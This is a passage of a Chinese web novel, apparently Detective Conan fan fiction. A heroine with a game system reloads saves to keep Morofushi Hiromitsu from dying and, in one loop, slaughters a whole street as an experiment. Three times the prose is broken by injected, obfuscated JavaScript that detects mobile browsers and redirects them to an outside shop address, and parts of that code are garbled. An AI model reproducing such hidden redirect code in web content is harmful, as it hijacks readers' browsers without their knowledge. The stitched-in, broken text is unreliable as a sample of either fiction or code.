“炸、炸弹?” “骗人的吧?” “要是真的的话,我、我们,大家,要赶紧撤离这里吧?” “快走啦!” 人流骚动起来,林溪带着诸伏景光,被卡在里面动弹不得。 林溪:…… 她拉开系统地图,狠狠盯着被绿点包围着的那几个蓝点,试图用眼神杀死他们。 龚出克! 别在这里碍事! 她认命地下了车,拉着诸伏景光往外走。 诸伏景光:“等等,前辈,你的车……” 车就停在路上合适吗?! 那摩托车看起来就很贵啊! 林溪哼了一声,摩托车就在诸伏景光眼皮子底下消失不见了。 异次元口袋,小子! 你对系统的威力一无所知。 她能直接把车收回来,想不到吧? 不远处看见这一幕的年轻警察目瞪口呆,揉了揉眼睛。 完蛋,执勤执出幻觉来了! 但还没等他们顺着人流走掉,爆炸就发生了。 好在炸弹离他们比较远,只是人群更加惊恐地四处逃窜,她和诸伏景光被挤到了一边。 年轻警察也和他们挤到了一起,还颇有风度地帮这位看上去郁闷不已的少女挡住靠近的人群:“小姐,我带你们走!” 林溪嘴角抽了抽。 这小警官自己都要被人挤扁了,还要帮他们开路、护送他们走,真是…… 等等,是不是有什么声音…… 林溪的思绪凝滞了一刻,下一刻视网膜上就映出了火焰、碎石和尘埃。 巨大的轰鸣声让她下意识闭上眼睛,巨大的冲击力也让她倒在地上。 她再睁开眼的时候,只看见了血和碎肉。 在爆炸发生的时候,诸伏景光挡在了她身前。 她茫然地接住这一堆血肉模糊的人性,自己的身上也全是伤口。 ……又失败了? 她忍着疼痛,点了读档。 她又回到了熟悉的天台。 身体好像还没有从火焰与血的地狱景象中回过神来,四肢还在传来阵阵幻痛。 她怕冷似地伸出双臂,想要环抱住自己,在意识到自己的动作之后,又停了下来。 冷静、冷静…… 她打开系统地图,不断拖动,找到了刚才爆炸发生的地方。 刚才那个炸弹犯是故意的,先引爆威力较小的第一个炸弹,将收到惊吓的人群驱赶到后方,再引爆第二个威力更强、波及范围更广的炸弹,让爆炸的收益最大化。 这个小警官果真没说错,这炸弹犯确实是恐怖分子。 林溪估计上一周目他炸死炸伤的人少说也有三四十个。 她抿了抿嘴。 即使努力让自己放松下来,心跳声仍旧如擂鼓,指尖也在轻微地颤抖。 好嘛。她冷笑一声,还没轮到她炸别人,自己的人就被炸了。 谁才是大反派啊?! 她拿出手机,在让组织的人撤出路口的同时,让他们小心点不远处街区的炸弹犯。 手机振动了一下:【我在来的路上。】 是琴酒发来的。 林溪:? 等会儿,你来干什么? 一枪崩了诸伏景光吗? 那样的话,系统的选项应该再加上一个:【让琴酒处决诸伏景光。】 而且,这家伙随机性也太强了。 她让组织的人撤出去,这家伙回回反应都不一样,要不是在这个世界上确实只有她一个人能回档,她都要以为琴酒是跟她一样经历了好几个周目的人呢。 她想回点轻松俏皮的话活跃一下气氛,但是想了半天也不知道回复什么。 半晌之后,她叹了口气,打开系统地图,选了一个合适的狙击地点发给了琴酒。 来就来吧,记得来了就来给她干活! 琴酒很快回复:【?】 【哥,帮我狙一下。】 林溪很有求人干活儿的自觉,直接叫上了哥。 她和琴酒各论各的,她管琴酒叫哥,琴酒管她叫BOSS,这很合理。 琴酒:…… 【别恶心我。】 林溪:? 她迅速打字:【好的哥哥,谢谢哥哥。】 恶心不死你! 对面没声了。 她笑了笑把手机放回兜里,感觉心情轻快了不少。 果然,欺负琴酒能让人心情舒畅…… 又过了一会儿,她看见了上天台的诸伏景光。 再次见面,她已经熟能生巧,半句废话也不说,直接上前给诸伏景光包扎伤口。 然后,在诸伏景光再度说出那句经典台词:“杀了我吧”的时候冷酷回复:“你以为我会放过你?白川浩,我已经挑好你的坟墓了。” 哼,与其反驳他,让他找机会伤害自己,不如假装满足他的愿望,让他乖乖跟她走。 对付诸伏景光,林溪已经熟能生巧了。 诸伏景光果然顺从地低头,乖乖的跟着林溪走。 林溪:。 早知道这么简单,早威胁他了。 他们这次比上次提早来到了上次的路口,林溪也看见了炸弹犯长什么样子。 ……一副在柯南里活不到上下两集的炮灰样。 这时候炸弹犯还在东张西望,想找一个人多的地方开炸,见这里人来人往、车水马龙,脸上扬起了炮灰反派专属的狞笑。 然后就被面无表情的林溪拍了拍肩。 炸弹犯吓了一跳,看向林溪:“谁——” 话还没说完,林溪一拳砸到了他的脸上。 然后舒了口气。 爽了。 炸弹犯捂着肿起来的脸,满脸的狞笑变成了难以置信:“你谁啊,为什么打我?” 林溪旁边的诸伏景光也瞪大了眼睛。 然后仔细观察起炸弹犯。 潘趣不会无缘无故揍人的。这人做了什么? 从刚才开始,潘趣就看上去很暴躁,但这暴躁又似乎不是冲着他来的。 发什了什么事情吗? 想到这里诸伏景光愣了愣。 ……发生的最大事情不就是他被发现是卧底了吗? 他怎么会下意识觉得潘趣不是因为这个而生气呢? “我是你爹。”林溪叉着腰,打了左脸,等炸弹犯直起身子,又给他右边来了一拳。 “你是谁爹啊,你这疯子!疯女人!” 炸弹犯被打蒙圈了,见少女没法沟通,将视线转向她身后看上去像是她兄长的诸伏景光:“你是跟她一起的吧?怎么不管管……哎哟别打!” 林溪对周围路人看过来的目光和议论纷纷视若无睹:“自我介绍一下,我未成年,抑郁症三十五年,躁狂症五十五年,精神分裂一百零五年——” “——以及,我刚从精神病院跑出来,后面这位是我的临时监护人。” “所以,我揍你,你有什么意见吗?” 林溪说着,又给了他肚子一拳。 炸弹犯:??? 坏了,让他碰上真神经病了。 这被打了上哪说理去? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971254|122667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他忍着疼痛,叫到:“精神病人就能随便揍人吗!还有没有王法……” 而且后面那个临时监护人为什么不管管你家病人啊! “临时监护人”一脸无辜地看着他,一副爱莫能助的表情。 揍人就揍人吧。 潘趣这么做一定有她自己的道理。 至于他去阻止? 别开玩笑了,潘趣凶起来会连他一起揍的好不好。 不过诸伏景光没阻止,却有其他人过来阻止。 “小姐,小姐,冷静一下,不要打人啊!” 林溪看着这位上一周目死她旁边的年轻警察:“不好意思,但是我在很冷静的打人。” 年轻警察:??! 糟糕,这位小姐看上去好像精神不太正常。 遇到这种情况该怎么办来着?他记得警察手册上面有写…… 啊,想起来了,良性劝导,要良性劝导! “啊,这个,就算是很冷静也不能打人,啊不对,不冷静也不能打人——总之,打人是不对的!” 呜呜呜,他在说什么啊! 如果伊达前辈在这里就好了,肯定比他处理的要好…… 刚参加完,新上任的实习警察高木涉心想。 让他松了口气的是,听了他的话,面前的少女好像真的停下来了。 高木涉简直要眼泪汪汪了。 感谢她的配合。 不然把这家伙打出什么毛病,这少女自己也会很麻烦的吧? 虽然不清楚为什么打起来,但高木涉的内心已经天然地倾向举着拳头的少女。 原因无他,对面被打的这家伙,一看就不像是什么好人啊! 脸被揍肿之后就更不像了! 只能说,人类都有做颜控的潜质。 红发少女一瘪嘴:“我也不是故意揍他的。但是他身上有一股很难闻的火药味……” 火药味? 诸伏景光蹙起眉,将目光转向炸弹犯。 火、火药味? 高木涉吓了一跳,也将目光转向炸弹犯。 身为警察——即使是实习警察,也对这三个字相当敏感。 因为这很有可能意味着另一件对于警察来说绝对不愿意看见的东西—— 炸弹。 仔细一看,这家伙这么热的天还穿着这么厚的衣服。 炸弹犯本来就因为自己要进行报复社会的自杀式袭击而紧张亢奋,又因为突然被揍而暴躁焦虑,这下又被警察注意到,情绪直接被引爆: “哼,居然被一个小丫头发现了。那就全都给我下地狱去吧!” 他划拉一声拉开外衣拉链。 露出了里衣中在身上绑的整整齐齐的炸弹。 同时,他从兜里拿出了一个小型的炸弹遥控器。 他狞笑着,想看见面前少女以及她身后的“临时监护人”的惊恐表情,以及他旁边那个多管闲事的警察慌乱和恐惧。 结果他失算了。 少女还是一副“如果用眼神能杀死你,我将用目光把你凌迟一万次”的冷漠表情,甚至他看见她的拳头又捏紧了,看上去像再给他来上一拳。 而他身后的看起来温文尔雅的青年也只是愣了一下,很快恢复了淡定,只是表情稍微带点困惑和担心地看着前面的少女。 年轻警察也没像他想象中那样惊慌失措,而是在慌乱了一下之后,马上对他进行话疗,并疏散人群…… 可恶。 他心想。 先将这里的炸弹引爆,等到这里的人都狼狈逃窜的时候,他埋下的另外一枚威力更大的炸弹也会爆炸。 哼,这几个讨人厌的家伙,尤其是这个揍得他鼻青脸肿的少女,他要把他们全炸上天。 88.推吧,西西弗斯-剧情杀 高木涉用最快的速度通知了他的警察同伴,又被分配了疏散群众的工作,也没忘记刚才揍过炸弹犯的少女。 他回过头看见少女还在和炸弹犯对峙,内心发出无声的尖叫。 恐怖分子vs精神病少女,让一个刚入职的小警察来处理是否有些超纲? 一边是随时会引爆炸弹自杀式袭击的炸弹犯,一边是情绪看上去不太稳定且有暴力倾向、而且好像还没成年的少女。 高木涉将目光投向在场看上去唯一靠谱一些的成年人诸伏景光。 临时监护人呢?救一下啊! 诸伏景光接收到了他求助的目光,还给他一个歉意的眼神。 自身难保,爱莫能助,不好意思。 正在这时,高木涉看见了青年额头闪烁的红点。 ——什么? 有人狙击! 属于刑警的条件反射让他脱口而出:“趴下!” 一旁少女懒懒地看过来。 诸伏景光则被这一声吼的愣了一下。 凭着自身对于狙击的了解,他朝着附近适合的狙击点看过去。 红点移到了他的太阳穴。 他释然地笑了笑,转过头看向红发少女。 这里,就是你说的“坟墓”吗? 知道我是警察,所以要让我死在同袍的目光下吗? 可是,他不会知道我是谁的…… 最后你报复到的只会是我一个人而已。 你向来有仇报仇、有怨报怨,就算是报复也不会波及到旁人。 这样也好。 从他成为卧底的那一天起,就已经隐隐预知到这样的结局了。 他逐渐沉浸在自己的思绪中,因此没能捕捉到少女眼神中的恨铁不成钢。 高木涉眼睁睁看着那红点在青年太阳穴上晃动,子弹破空而来—— 擦着他的脸颊,穿过了他背后炸弹犯举起的手中捏着的炸弹开关,然后旋转着钉入了他的头颅。 炸弹犯的叫声和狞笑声戛然而止,像正播放着聒噪音乐的劣质播放器被人粗暴地按下了暂停键。 他脑袋上破开了一个血洞,子弹在一瞬间将他的脑仁破坏得一塌糊涂,使他瞬间失去了行动能力,随后死亡、倒下。 狙击的人技术精湛、手法高明,对时机的把握炉火纯青,不仅射中要害一击毙命,在子弹行进途中还顺便打穿了目标手中的遥控器。 高木涉愣住了。 是特勤组吗? 来的未免也太快了。 快到好像提前就得到了消息,专门在这里等着炸弹犯现身似的。 而且……他并没有接到任何通知。 那、那难道是传说中的黑恶势力或者恐怖组织因为分赃不均而导致的报复吗? 高木涉看了一眼倒在血泊里的炸弹犯。 ……那也没必要杀了他啊,反正这家伙是自杀式袭击,让他炸死自己不就行了? 还有这两个人也是。 高木涉看向红发少女和猫眼青年。 面对爆头现场,这两个人是不是淡定过头了啊?! 少女一副“世界立马在我面前毁灭也无所谓”的样子就不说了,毕竟刚从精神病院出来。 但她的临时监护人明明刚才才被狙击枪瞄准,为什么也这么淡定啊! 仔细看,他好像也有些恍惚——不是,该不会他也和那个少女一样,都是从精神病院里出来的吧! 高木涉为自己的想法感到一丝惊悚。 “你们没事吧?” 他说了句废话。 林溪:…… “谢谢,我们没事。先走一步。”说着拉起还没回过神的诸伏景光往外走。 人多眼杂,速撤——估计狙击的琴酒也在撤。 高木涉有一点没有猜错,琴酒的确早就收到了林溪的消息,所以比警方的特勤组早来,狙击也更早、更快更准。 他嘴里叼着烟,收起枪,看了一眼远处。 在骚乱的人群中,少女似有所感,抬起头,与他目光相接。 他拿着枪袋的手顿了顿。 隔着太远,他看不清她的表情,甚至不知道这目光的接触是不是仅仅是他自己的错觉。 他吐出了一口烟雾,背起枪袋,转身离开。 . 诸伏景光的手腕被林溪拉着走向前。 有那么一会儿,他呆呆的连自己在哪里都不知道了。 林溪见他这样,心中原本的恨铁不成钢也逐渐变成了好笑。 这家伙好像在梦游。 椰子也总这样——呆呆的,盯着前方,仍由她抱着到处跑——一般都是在刚刚睡醒或者犯困了的时候。 “白川,你困了吗?” “啊,前辈……” 诸伏景光被这一声呼唤叫的恍然回过神来,才发现自己心如擂鼓、嘴巴干涩。 他舔了舔嘴唇:“那人死了吗?” 他以为那狙击手瞄准的是他。 但死的却是炸弹犯…… 不是冲他来的? 不,同为狙击手,诸伏景光的直觉告诉他,当时那个狙击手的确曾瞄准过他。 只是几秒钟后,那人就将枪移开了,对准了他旁边的炸弹犯。 脸上子弹擦过的伤口正火辣辣的痛。 “死了。”林溪拉着诸伏景光,“放心吧,我们现在很……安全……” 一辆疾驰而来的车擦过林溪的衣袖。 她被一股力道推着,茫然地向前。 她说的话还轻飘飘地停留在空气中,尚未落地;身后沉重到令人胆寒的死亡就已经发了话。 林溪没有回头。 在车撞来的时候,是诸伏景光推了她一把,把她推了出去。 那辆车于是撞上了诸伏景光——她听见了车头和□□碰撞的沉闷响声。 她不想回头。 她不想知道死于车祸的人死前会是什么样子,即使她的脑子违背她的意志,已经通过她曾经学到过的知识勾画出了一副生动的死亡图景—— 她宁愿她从未见过死亡。 ……又失败了。 林溪的思绪有些滞涩。 正常来说,当一道题用了三四遍方法还解不出来的时候,就要考虑是不是答题的方法不对了。 归纳总结自己的错误,然后大胆尝试新的方法,只有这样才能事半功倍。 但是……【拯救诸伏景光】不是一道数学题。 它没有参考答案,没有解题思路,它太难了,让现在的林溪一筹莫展。 而且最重要的是…… 林溪看了一眼车子过来的方向,无视掉周围路人“出车祸了”“快叫救护车”以及“晚了,他好像已经不行了”的惊呼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986608|122667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她升级到Lv2的侦察技能居然一点预警都没有。 和一周目的时候不一样——一周目的时候她看见了那个外围成员举起枪,是诸伏景光没有躲过去——这次她完全没有感觉到路口车子的出现。 ……为什么? 系统…… 眼看着面前的面板浮现,文字又一行一行跳出来,她闭了闭眼,回了档。 . 如果你不幸死于意外,又幸运地穿越到异世界,还像穿越小说中常写的那样,拿到了金手指——一个游戏系统。不管是谁,都会想要先活着试试吧? 尤其是这世界和这游戏格外有趣的情况下。 你获得了极大的自由,系统也从各种方面暗示你要改变剧情。 你欣然照做,从亲手创造与原作不同的剧情中获得了不少成就感,即使这里是与你来的世界截然不同的另一个世界。 直到有天系统抛出了新的剧情任务,所有的选择都只会导向同样的结局。 而你无论做出何种努力,都无法撼动命运的巨轮…… 你会怎么做呢? 林溪不知道。 她只是有点困惑: 如果她身为玩家,拥有改变剧情的特权—— 那为什么这次不行? 为什么这个游戏、这个世界,想要诸伏景光死亡? 又为什么要在杀死诸伏景光之前,虚伪地设置一个看起来可以改变解决的选择题,但其实选什么都一样的选择题,让她来做出选择? 系统想让林溪做什么呢? 林溪还是不知道。 她站在天台上,望着天空中将要落山的太阳,想起来她曾答应过小哀,要在晚餐前赶回家。 她打开系统地图,冷冷地看着地图上的一个个不同颜色、正在活动的小点。 她想,经过了这几次的回档,至少她知道了: 第一,系统想要诸伏景光死。 无论她怎么试图去救活诸伏景光,都会有令人讨厌的剧情杀出现,将他的生命夺走。 而且随着林溪改变剧情的程度越来越大,剧情杀也越来越离谱——最后一次更直接,她升到二级的侦察技能竟然一点用都没有,很难不怀疑系统在里面动了手脚。 第二,系统不能直接让诸伏景光死。 【诸伏景光死亡】应该是一个非常关键的剧情节点,关键到系统必须发布相关的剧情任务;关键到她被传送到25年前,在给三位卧底代号之后,还是要完成这个剧情节点才能回去。 而所有关键的剧情节点,林溪猜测,玩家都必须参与进来。至少从系统的角度来说,它必须给玩家发任务…… 即使这次它并不希望玩家改变结局。 这么看来,系统也有自己要遵守的“规则”。 ……既然如此,那就来看看,玩家的“能力”和系统的“权限”哪个会胜出吧? 不得不承认,这次剧情任务的挑战性的确激起了林溪前所未有的胜负欲。 不,应该是属于玩家的胜负欲——就是无论有多难、失败过多少次,也一定要去达成完美Happy Ending的那种胜负欲。 风将林溪的白色裙摆吹得飘了起来,像大海浪潮的最末端激起的浪花。 她站在没有护栏的天台边上,眺望着天边的斜阳,好像要站在那里,直到夕阳落下。 89.推吧,西西弗斯-噩梦 林溪回档第五次。 诸伏景光死于劫匪刀下。 林溪回档第六次。 诸伏景光死于银行抢匪枪下。 林溪回档第七次。 诸伏景光死于警方特勤组枪支走火。 林溪回档第八次…… 第九次…… 第十次。 林溪对着诸伏景光叹了口气:“太艰难了,白川君。” 诸伏景光:“前辈……是在为难吗?” “没有。我为难什么?”林溪惆怅地望着天边斜阳,“我只是卡关了,卡关了你懂吗?” 诸伏景光不懂。 猫眼青年只是温柔地看着她,好像在说: 如果可以,请你放弃我吧。 …… 第十一次…… 第十二次…… …… 第二十一次。 诸伏景光被林溪拉着向前跑。 一路上险象环生。他遭遇了许多不可思议、且莫名其妙的袭击。 比如突然射来的冷枪、突然发疯拿刀乱砍的路人、从路口全速冲来的失控车辆。 但前面的少女就好像有预知能力似得,冷静地带着他躲过一次又一次的袭击。 在躲避的空隙,还有闲心跟他碎碎念: “看见那边的大叔了吗?看上去很正常对不对?其实他踹在兜里的手拿着一把水果刀,专门到人多的地方,准备暴起伤人、报复社会呢!” “你看,他就快到我们跟前了,三、二、一——”林溪一把抓住那人拿刀刺过来的手腕,轻松将其缴械。 “朋友,别因为失业就来砍路人啊,路人多无辜啊?”少女看似惋惜地叹着气,表情却是一脸无所谓:“怎么不去找裁了你的家伙算账?或者你直接杀入大老板的办公室里,跟他爆了?” 被她挡在身后的诸伏景光欲言又止,止言又欲。 路人固然无辜,但HR和大老板又做错了什么? 他看着林溪将随手将夺来的刀扔在地上,又猛地将他拉过来。 诸伏景光被拉的一个踉跄。 一辆车贴着他呼啸而过,好像失控了一样,狠狠撞在墙上,在短暂的停顿之后,轰的一声发生了剧烈爆炸。 “看,酒后驾车的后果。”林溪摇摇头,拉着他的手没松开,“喝酒不开车,开车不喝酒……有句话怎么说的来着?道路千万条,安全第一条;行车不规范,亲人两行泪。” 诸伏景光看着爆炸了的汽车,又一次陷入了失语中。 这已经不是酒驾不酒驾的问题了,看这车的失控程度,诸伏景光合理怀疑司机嗑了药。 要么就是方向盘焊死、刹车键又失灵了。 刚才如果不是林溪把他拉过来,他已经被这辆车撞飞了吧? 但这还没完—— 在下一个路口,林溪突然停住,松开他的右手,将他的头拉下来,让他避开了致命一枪,自己的左肩却中了弹。 诸伏景光闻到了血腥味。 “前辈!” “吓到了?”林溪脸上还是那副无所谓的表情。 “这地方我试过好几次,这枪我必须挡。没事的,你看,还能活动,就是有点疼……你得帮我包扎一下。哈哈哈,我们两个现在都只能用右手……简直就像是在玩把脚绑在一起跑步的协作游戏。” 冷汗顺着脖子滚落。 这游戏……真差劲,连痛觉都屏蔽不了。 她掏出来一卷绷带递给诸伏景光,又抬起还能动的右臂,看了一眼手机:“我们得快点,五分钟之后这里有黑/帮火拼。” 绷带是普通绷带。 系统给的速愈绷带用完了,还好林溪未雨绸缪,总是习惯性的备着许多东西搁在系统空间里。 其中就有止血绷带。 诸伏景光接过绷带。 他低头,配合着红发少女的动作包扎。 少女的白裙被鲜血洇红了。 她的脸色有点苍白,虽然没什么表示,但刚才精神高度集中的逃亡显然耗费了她不少心力。在距离这么近的情况下,诸伏景光注意到,她的眼神已经有些涣散了。 他心中升起一种难以遏制的悲伤。 他不知道这种情绪从何而来。比起自己死亡,更让他难以接受的是其他人会因为救他而受伤。 从小小的擦伤,到肩膀中弹…… 下一步会是什么呢? 有很多次,他都想对少女说: 不要救我。 杀了我吧。 我们是敌人,不要因为我让自己受伤。 但是这些话在他的舌头上滚了一滚,又总是被他重新咽了回去。 他总感觉,这些话他曾说过很多次,但是每次都被少女或无奈、或沉默,或坚决地否定。 到底怎么办才好呢? 她就是那种选定目标就不会放弃的人,撞破南墙也不回头的人。 诸伏景光想,就是因为不知道到底该怎么办才好,所以现在才会这么……难过。 他什么都做不了。 他将少女受伤的肩细致地包扎好。 林溪回了回神,又扣住了诸伏景光的手腕。 一路上她都这么抓着,好像怕她一不留神,这人又被突如其来的意外夺走生命。 他们继续向前走,走到最后两人都气喘吁吁。 太阳落山了。 林溪的身上又多了两处伤,诸伏景光也同样狼狈不堪。 看见太阳落山,她稍微松下一口气。 已经撑过了这么长时间,剧情……应该能过关了吧? “白川……” 她回过头,正要提议他们去这附近的安全屋把伤口处理一下,就看见半空中往下落的巨石板。 “……浩。” 她木然低头,看见了石板下缓慢流出的鲜血。 ……好想吐。 周围的声音好像是从水底下传过来的。 “绳索怎么会突然断掉!” “糟糕了……这、这是施工事故,保险……应该能赔吧?” “那人死了吗?” “肯定啊,你这笨蛋!你看地上的血……” “旁边那里站着的小姐是不是也受伤了?” “她衣服上也有血……” “小姐,小姐?你还好吗?” 林溪迟钝地抬起头。 她的眼睛有点模糊,好一阵才恢复清晰的视界。 眼前是一些围上来的人。 他们有高有矮,有男有女。 林溪看着他们用线条和色块组成的脸和衣服,从未如此清晰地认识到—— 她不属于这个次元。 …… 第二十二次。 林溪漠然地看着夕阳下满地的血泊。 这一次她的白裙子一尘不染,依然崭新洁白,没染上一点血液或脏污。 街道寂静无比,只有林溪的小皮鞋踩在地上发出的清脆声响。 不,不能说是寂静。 应该说是—— 死寂。 所有人类的声音都消失了。就连鸟兽都感知到了危险,止住叫声,不敢啼鸣。 直到街上出现了新的脚步声。 林溪没回头,她平静地拿着枪和弯刀,立在那里。 银发男人踏过一地的血泊和尸体,背着他的枪带,走到她身边。 “BOSS。” 他的声音很低,但却很清晰,在寂静的空气中存在感极强。 少女站在夕阳下,右手拿着一把暗金色的弯刀,左手拿着一把手枪。 弯刀染血,血珠正顺着暗金色的刀身往下滴,脚边是睁大眼睛、手向前伸的人,已经没了呼吸。 “BOSS。”他又喊了一声,这次声音稍大了一些。“任务完成了。” 只是这次的任务不像是杀手的工作,反倒像是屠夫的工作。 他盯着少女的侧脸。 这绝对不是她想要的。 她想做什么?想试探什么? 他是否太过高估她了,实际上她并不如他所期待的那样,一直带领他坚定地行进于她选定的道路,而不会为任何事物动摇? 实际上她和那些普通人一样,也会受挫,也会疯狂,也会懦弱到不肯接受死亡,会因为接受不了反复的失败而想要破坏一切? 林溪现在在想什么呢? 她在想,这个世界虽然跟游戏很像,但跟游戏不同的是,在这里,死去的NPC不会自动刷新。 她看向身旁的琴酒,正好撞上他探究的目光。 她愣了愣:“你这家伙是不是又在想什么不礼貌的东西?” 银发男人不理她,撇开头。 当他没说,这家伙看上去还算精神。 他就当她有自己的计划吧。 “你又想干什么?” “做个小实验。” 琴酒:…… 他看了一眼周围可以称得上是地狱的景象。 她的“小”实验是不是代价有点大? “你最好自己心里有数……”他盯着林溪,“我可不想安慰一个疯子。” 别让我失望……林溪。 如果你真的让我失望了,在你变成我不想看见的模样之前…… 我一定会先亲手将你杀死。 “噗哈哈。”林溪忍不住笑了,“小琴,你还不知道我吗?” 她收起刀,拍了拍琴酒的肩:“你就别操心了,这都是我计划的一部分,放心,我有我自己的节奏……” 琴酒无语地看着她。 你最好是。 “我走了。” “快去快去,”林溪摆摆手,“尽快走远一点,我不想你也变成我实验的‘变量’,污染我的实验数据。” 万一一会见到诸伏景光,在剧情强大的力量下,琴酒枪支走火,啪的一下把诸伏景光杀了怎么办? 那她这实验不是白做了? 琴酒瞪了她一眼,转身离去。 空气因为他的离开而再度寂静下来。 林溪这时候才松了一口气,低头看了看自己的双手。 指尖正不受控制地颤抖着。 最多再来三次,她的精神就会坚持不住。 必须在三次回档之内解决这件事情,林溪冷静地想。 虽然事关自己的精神问题,但她的脸上仍旧没什么表情。 她深吸一口气,重新把弯刀和枪拿出来握住。 只有在手上拿着武器的时候,她的手才不会抖。 她想了想,左手拿刀,右手握枪,摆了个帅气的pose。 就算只有一个观众,也不能丢了气势。 . 血,到处都是血。 没有活人的小巷中,少女站在夕阳下,一手拿着刀,一手拿着枪。 白裙和鲜血鲜明的对比格外刺眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13024973|122667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 少女的影子被夕阳拉长。 她身前是旁边的楼投下的阴影。 那浓郁的、膨胀的、又界限分明的黑暗离她只有几步之遥;而她看上去马上就要步入其中了。 诸伏景光捂着中弹的左臂走过来的时候,看见的就是这幅景象。 红发少女听见了脚步声,转过身。 “前辈……” 诸伏景光喃喃出声。 前辈,你做了什么? 他呆呆地看着面前的少女,在一片死寂之中,突然意识到: 整条街现在只有他们两个活人。 “你安全了,诸伏。”少女笑着说道。 她手一翻,弯刀和枪就都消失了,好像从未出现过一样,一切都只是诸伏景光的错觉。 但满地的鲜血和在半空中盘踞的死亡气息不会骗人。 林溪的目光落在猫眼青年身上。 诸伏景光有一种被野兽盯上的恐惧感。 他下意识后退了一步。 少女似乎没察觉到他的后退,自顾自地解释道: “我想测试‘玩家’的权限和‘系统’的权限哪个大……而且我很好奇,如果把所有可能产生意外的因素都扼杀在摇篮中,你还会以什么样的方式被夺走生命。” 系统无疑拥有很大的权限,当它想要杀死诸伏景光的时候,它可以制造各种各样的“意外”来造成诸伏景光的死亡。 而玩家在这个世界里同样享有极大的自由。林溪想做怎么就可以做什么,随心所欲,无所顾忌。 而且在玩家意识到自己与这个世界不同属一个次元的时候,法律和道德意识对玩家的束缚就显得格外薄弱了——就像林溪现在这样:为了达成目的,将一整条街上的人屠戮殆尽也可以。 因为她眼前的血与肉就像是一张张画皮,即使是死亡也不能让这些画皮变得更真实。 诸伏景光不知道该做什么表情好。 潘趣看上去不太对劲…… 往常少女总是亲切的、让人觉察不到距离感的。但是现在他们面对着面,之间却仿佛隔着深海。少女沉在海底,那是人类无论如何都潜不到的深度,只要她想待在那里,没有任何人能将她拉上来。 在鲜血和死寂中,诸伏景光突然不合时宜地想起了刚认识潘趣的时候。他被发了墨镜,跟在潘趣身后,看着潘趣假装自己是黑/道大小姐,哄着那个叫杉岛纯枝的少女,让她将愿望写在纸飞机上。 然后他将那些“愿望”捡回来。 前辈那时候也放了纸飞机的。 他偷偷捡起来看过,上面写着—— “前辈,你不想回家吗?” 他脱口而出。 纸飞机上用中文写着:【想家了。】 那架纸飞机他现在还留着,放在他的安全屋中。 这句话像是一个信号,许多复杂的情绪和记忆的碎片在这句话说出口之后,都好像冲破了什么桎梏一样,争先恐后地涌上来,让他鼻子一酸。 他上前两步,凭着本能用尚能动作的右臂抓住少女的肩膀。 必须做些什么让她回到海面之上,不然—— 肯定会发生非常可怕的事情,比着满地的尸体还要可怕的事情。 林溪愣了一下:“回家?” 对,只要完成任务,说不定会有回家的机会…… 但是…… 她看了一眼任务列表。 要把整个柯南剧情线都完成,难以想象她得花上多长的时间。 毕竟它可是连载了将近三十年,柯南还没有变回大人的漫画。 而且,这是她想不想回家的问题吗? 是她想不想完成任务的问题吗? 她这不是卡关了吗,她想改变剧情完成任务,系统非要给她制造难度。 林溪看了一眼面前的猫眼青年,感觉他握着自己肩膀的手在微微颤抖。 果然被吓到了吗? 她想了想,就着这个姿势,摸了摸诸伏景光的头。 “别担心,你会活下去的……” “不,前辈,不……”诸伏景光有些语无伦次,“活不活下去,对我来说根本无所谓!” 从一开始就是这样,前辈总是太考虑别人的感受,从来没有在乎过自己—— 他的脑海里闪现出许多画面,有少女帮他包扎的画面,有她扣着他的手腕不断向前跑的画面,也有少女转身帮他挡枪的画面。 他好像陷入了一个无穷无尽、轮回不止,永远也醒不过来的噩梦之中,每一次噩梦的结局,少女都站在他的尸体面前,沉默地准备下一次的轮回。 不要这样,他想。 他记不清他自己死了多少次,也记不清一次次噩梦的细节,那些从大脑深处浮现上来的记忆碎片都已经让他这么痛苦了。 那潘趣呢?一遍遍见证了他的死亡、记得所有细节的潘趣呢? 那一定非常、非常痛苦。 不要再进行下去了,这一遍遍徒劳的尝试,一遍遍的死亡,只会让活着的人疯狂。 有的时候,接受死亡才是最好的结局。 林溪看着眼前的青年,不懂他的意思。 但她感觉面前的人十分难过。 难过的快要哭出来了。 为什么难过?她心想。 很快又她意识到,死了这么多人,诸伏当然会感到难过。 要怎么安慰他,才能让他好受些呢? 90.推吧,西西弗斯-杀气 不会的,林溪想,加害者说出安慰的话就像是黄鼠狼为鸡哀悼。 简直像一出滑稽戏剧。 她想说,这只是无数次周目的其中一种结局。很快她又会重新读档,所有的一切……都会恢复到从未发生过的模样,没有鲜血也没有死亡。 不会任何人记得这一切,除了她自己之外…… 